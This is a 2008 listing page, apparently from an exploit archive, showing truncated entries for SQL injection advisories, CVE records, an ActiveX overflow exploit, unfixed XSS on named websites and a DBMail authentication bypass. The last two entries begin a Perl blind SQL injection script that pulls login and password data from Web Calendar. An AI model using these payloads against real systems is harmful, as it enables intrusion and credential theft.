sispletcms-sql.txt

================================================================= Sisplet CMS index.php id Remote SQL Injection Vulnerability ================================================================= ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...

Solaris 9 (x86) : 137403-02

SunOS 5.9x86: snmpXdmid patch. Date this patch was last updated by Sun : Jun/24/08 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description...

adv99-K-159-2008.txt

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV99$2008 ----------------------------------------------------------------------------------------- ECHOADV99$2008 Relative Real Estate Systems = 3.0 listingid Sql Injection Vulnerability...

CVE-2008-2870

creationtimestamp| type| source ---|---|--- 2008-06-24 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/5925...

fetchmail -- potential crash in -v -v verbose mode (revised patch)

Matthias Andree reports: 2008-06-24 1.2 also fixed issue in reportcomplete reported by Petr Uzel...

CVE-2008-6427

creationtimestamp| type| source ---|---|--- 2008-05-30 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/5698 2008-06-24 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/5928...

Creative Software AutoUpdate Engine ActiveX Stack Overflow Exploit

No description provided by source. html !-- !!!NOT PRIVATE PLEASE DISTRIBUTE!!! Zer0Day Creative Software AutoUpdate Engine ActiveX Stack-Overflow CacheFolder Exploit by BitKrush BitKrush +A.T.+ G.M.A.I.L.D.0.T.C.0.M. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ CacheFolder...

Repair Online v1.2 (sentout) Create Admin Vulnerability

/ | || | | | | | | | | /| | | | | || ||| ||||| || C. H. R. O. O. T. SECURITY GROUP - -- ----- --- -- -- ---- --- -- - http://www.chroot.org Hacks In Taiwan | || | | | | | | | Conference 2008 | | | | | | | | | || ||| || |||| http://www.hitcon.org Title :: Repair Online v1.2 sentout Create Admin...

phpFix v2 Multiple SQL Injection Vulnerability

/ | || | | | | | | | | /| | | | | || ||| ||||| || C. H. R. O. O. T. SECURITY GROUP - -- ----- --- -- -- ---- --- -- - http://www.chroot.org Hacks In Taiwan | || | | | | | | | Conference 2008 | | | | | | | | | || ||| || |||| http://www.hitcon.org Title :: phpFix v2 Multiple SQL Injection...

excuseonline-sql.txt

/ | || | | | | | | | | /| | | | | || ||| ||||| || C. H. R. O. O. T. SECURITY GROUP - -- ----- --- -- -- ---- --- -- - http://www.chroot.org Hacks In Taiwan | || | | | | | | | Conference 2008 | | | | | | | | | || ||| || |||| http://www.hitcon.org Title :: Excuse Online pwd SQL Injection...

Unfixed XSS vulnerability at www.eskisehirspor.com

Security researcher SeYMeN, has submitted on 24/05/2008 a cross-site-scripting XSS vulnerability affecting www.eskisehirspor.com, which at the time of submission ranked 81184 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/06/2008. It is...

Unfixed XSS vulnerability at www.microchoix.com

Security researcher Genosite, has submitted on 24/05/2008 a cross-site-scripting XSS vulnerability affecting www.microchoix.com, which at the time of submission ranked 127712 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/06/2008. It is...

CVE-2008-2481

creationtimestamp| type| source ---|---|--- 2008-05-24 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/5671...

Unfixed XSS vulnerability at www.pawky.com

Security researcher SeYMeN, has submitted on 24/05/2008 a cross-site-scripting XSS vulnerability affecting www.pawky.com, which at the time of submission ranked 1969558 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 25/05/2008. It is currently...

Unfixed XSS vulnerability at www.carstereo.com

Security researcher PhysX, has submitted on 24/05/2008 a cross-site-scripting XSS vulnerability affecting www.carstereo.com, which at the time of submission ranked 126084 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/11/2008. It is current...

Unfixed XSS vulnerability at influenza.bvsalud.org

Security researcher Camilo-TcK, has submitted on 05/09/2008 a cross-site-scripting XSS vulnerability affecting influenza.bvsalud.org, which at the time of submission ranked 13958 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 24/09/2008. It is...

CVE-2008-1965

creationtimestamp| type| source ---|---|--- 2008-04-24 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/31706...

DBMail空LDAP口令绕过认证漏洞

BUGTRAQ ID: 28849 CVECAN ID: CVE-2007-6714 Dbmail是一个程序集，允许从数据库检索和存储邮件，可使用MySQL、PostgreSQL和SQLite作为数据库后端。 Dbmail的认证过程存在安全漏洞，如果启用了authldap模块且LDAP服务器允许匿名登录，则任何用户都可以使用空口令字符串登录到任意帐号。 h000 telnet localhost 143 Trying 127.0.0.1... Connected to localhost. Escape character is '^'. OK dbmail imap protocol...

webcal-sql.txt

!/usr/bin/perl use strict; use LWP::Simple; print "-+-- Web Calendar ; print "\n\nInjecting Please Wait..\n\n" my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while$lop $content = get$url."/oneday.php?userid=1 AND ASCIISUBSTRINGSELECT CONCATlogin,char58,password,char...

Web Calendar 4.1 - Blind SQL Injection

Web Calendar 4.1 - Blind SQL Injection !/usr/bin/perl use strict; use LWP::Simple; print "-+-- Web Calendar ; print "\n\nInjecting Please Wait..\n\n" my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while$lop $content = get$url."/oneday.php?userid=1 AND...